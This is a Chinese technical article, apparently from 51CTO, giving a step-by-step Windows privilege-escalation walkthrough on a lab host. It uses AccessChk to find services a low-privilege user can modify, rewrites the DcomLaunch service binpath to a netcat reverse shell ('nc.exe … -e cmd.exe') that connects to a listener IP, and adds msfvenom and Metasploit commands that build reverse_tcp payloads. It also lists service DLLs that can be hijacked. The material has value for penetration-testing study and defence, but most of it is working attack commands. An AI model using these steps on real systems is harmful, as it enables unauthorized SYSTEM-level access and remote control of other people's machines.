【51CTO.com原创稿件】在实际渗透过程中,有可能获取了该操作系统下的一个普通用户帐号权限,或者webshell权限,通过低权限用户进行越权,有可能获取系统权限;其利用原理主要是通过微软的AccessChk工具软件,配合sc来操作服务,通过服务的重启而得到权限。
一、AccessChk简介及使用
1. AccessChk简介
AccessChk是Sysinternals中的一个小工具,目前最新版本为6.1,新版本存在一些bug,在实际使用时会提示需要多个dll文件,在本案例中使用的是3.0版本,其官方网站下载地址:https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx
AccessChk主要用来检查用户和用户组对文件,目录,注册表项,全局对象和系统服务的权限详细情况,在实际配置过程中如果权限设置失误,则就可以被用来提权。
2. 使用AccessChk
命令行下第一次运行需要同意一个许可,如果不想出现那个提示窗口,则可以执行“accesschk.exe /accepteula”。其主要参数如下:
- usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object>
这个命令分为三个部分accesschk是程序名;第一个参数有9个可选项[],部分可选项里还有可选参数;第二个参数是一个目标,这个目标可以是文件,目录,注册项,进程,服务,对象。
- -a 名称是Windows帐户权限。指定“*”作为显示所有分配给用户的权限名称,只有指定用户名称或者组时才显示指派的权限。
- -c 显示服务名称,“*”显示所有服务。
- -d 仅处理目录或顶级键
- -e 只显示显式设置完整性级别(Windows Vista和更高版本系统)
- -f 显示包含组和特权的完整过程令牌信息
- -k 注册表键值,例如 hklm\software
- -i 在取消完全访问控制列表时忽略只继承继承符的对象
- -l 显示全部访问控制列表。添加“-I”忽略继承ACEs
- -n 仅显示没有访问权限的对象
- -o 名称是对象管理器命名空间中的一个对象(默认是root)。查看一个目录的内容,用反斜线或-S-T和对象类型指定名称
- -p 进程名或者PID,例如cmd.exe (使用 '*'显示所有的进程). 加“-f ”显示包括组和特权的所有进程令牌信息,加“-t”显示线程。
- -q 省略标识
- -r 显示对象只读属性
- -s 递归
- -t 对象类型筛选器
- -u 抑制错误
- -v 冗长(包括Windows Vista完整性级别)
- -w 仅显示具有写访问的对象
(1)查看用户服务,查看管理员组、users组下所有服务:
- accesschk administrators -c *
- accesschk users -c *
如图1所示,可以对某个用户进行查看,主要用来提权用,例如查看simeon用户具备读写服务器权限:
accesschk simeon -c * | find "RW" 或者accesschk simeon -cw *
图1查看指定用户的服务权限
(2)查看用户组对系统服务具备写权限,如果有则会显示,否则会提示“No matching objects found”。
- accesschk.exe -uwcqv "Authenticated Users" *
- accesschk.exe -uwcqv "Administrators" *
- accesschk.exe -uwcqv "Backup Operators" *
- accesschk.exe -uwcqv "Distributed COM Users" *
- accesschk.exe -uwcqv "Guests" *
- accesschk.exe -uwcqv "HelpServicesGroup" *
- accesschk.exe -uwcqv "IIS_WPG" *
- accesschk.exe -uwcqv "Network Configuration Operators" *
- accesschk.exe -uwcqv "Performance Monitor Users" *
- accesschk.exe -uwcqv "Performance Log Users" *
- accesschk.exe -uwcqv "Power Users" *
- accesschk.exe -uwcqv "Print Operators" *
- accesschk.exe -uwcqv "Remote Desktop Users" *
- accesschk.exe -uwcqv "Replicator" *
- accesschk.exe -uwcqv "TelnetClients" *
- accesschk.exe -uwcqv "Users" *
二、获取低权限可操作服务名称
1. 实验环境
(1)本次实验环境为Windows 2003 Sever SP3,用户simeon属于power user组,可以登录系统。
(2)IP地址:192.168.52.175
(3)监听服务IP:192.168.52.215
(4)nc.exe复制到c:\windows\temp目录
2. 获取可读写的服务
执行命令以下命令获取Power Users组可以操作的服务名称信息,如图2所示。
- accesschk.exe -uwcqv "Power Users" *
执行后显示结果如下:
- RW DcomLaunch
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
- RW kdc
- SERVICE_QUERY_STATUS
- SERVICE_QUERY_CONFIG
- SERVICE_CHANGE_CONFIG
- SERVICE_INTERROGATE
- SERVICE_ENUMERATE_DEPENDENTS
- READ_CONTROL
图2获取可读写的服务名称信息
3. 查询服务详细信息
服务名称为“DcomLaunch”、“kdc”可以被simeon用户进行操作。使用sc qc kdc命令查询kdc服务的详细信息,如图3所示,可以看到该服务是以系统权限运行的。
图3查询kdc服务详细信息
4 .决定使用那个服务
执行命令“net start”查看系统目前已经启动的服务,也可以使用以下命令直接获取。如图4所示,在启动服务列表中发现“DCOM Server Process Launcher”服务名称。
- net start | find "DCOM Server Process Launcher"
- net start | find "Kerberos Key Distribution Center"
图4获取服务名称
5. 获取服务名称对应的服务
使用命令“tasklist /svc”,如图5所示,获取“DCOM Server Process Launcher”服务名称所对应的服务“DcomLaunch”。
图5获取DcomLaunch服务信息
三、修改服务并获取系统权限
1. 修改服务参数binpath值
使用sc命令对服务进行修改:
- sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe"
如图6所示,执行命令后,显示修改服务配置成功,再次使用sc qc DcomLaunch,显示执行文件已经更改为:
- C:\windows\temp\nc.exe -nv 192.168.52.215 4433 -e C:\WINDOWS\System32\cmd.exe
查询服务:sc qc DcomLaunch
图6修改服务binpath值
2. 启动服务
先执行 sc config DcomLaunch obj= ".\LocalSystem" password= "",然后通过命令下启动,使用“net start DcomLaunch”命令,也可以通过services.msc服务管理器重启该服务,如图7所示。
图7重新启动服务
3. 反弹获取服务器权限
如图8所示,在反弹服务器中192.168.52.215监听4433端口,成功获取来自192.168.52.175的反弹,且为系统权限。
图8反弹获取系统权限
4. 总结
在Winxp、Windows 2003、Windows 7 (32/64)下有一些dll文件也可以被替换:
- IKE and AuthIP IPsec Keying Modules (IKEEXT) – wlbsctrl.dll
- Windows Media Center Receiver Service (ehRecvr) – ehETW.dll
- Windows Media Center Scheduler Service (ehSched) – ehETW.dll
- Automatic Updates (wuauserv) – ifsproxy.dll
- Remote Desktop Help Session Manager (RDSessMgr)–SalemHook.dll
- Remote Access Connection Manager (RasMan) – ipbootp.dll
- Windows Management Instrumentation (winmgmt) – wbemcore.dll
- Audio Service (STacSV) – SFFXComm.dll SFCOM.DLL
- Intel(R) Rapid Storage Technology (IAStorDataMgrSvc) – DriverSim.dll
- Juniper Unified Network Service(JuniperAccessService) – dsLogService.dll
(1)使用msf生成exe文件
Linux msf监听4433端口
- ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe
windows下监听4433端口
- ./msfvenom -p windows/shel/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/w.exe
其中平台参数(-p)可以设置为以下的一些,也可以使用msfvenom -l payload | grep 'reverse'进行查看和选择:
- windows/shell/reverse_tcp
- windows/x64/shell_reverse_tcp
- windows/shell_reverse_tcp
- windows/shell/reverse_tcp
(2)在msf上面执行
- set payload windows/meterpreter/reverse_tcp
- show options
- set lhost 192.168.52.215
- set lport 4433
- run 0
(3)将生成的/tmp/my_payload.exe按照本文上面的方法执行后即可得到反弹的webshell
【51CTO原创稿件,合作站点转载请注明原文作者和出处为51CTO.com】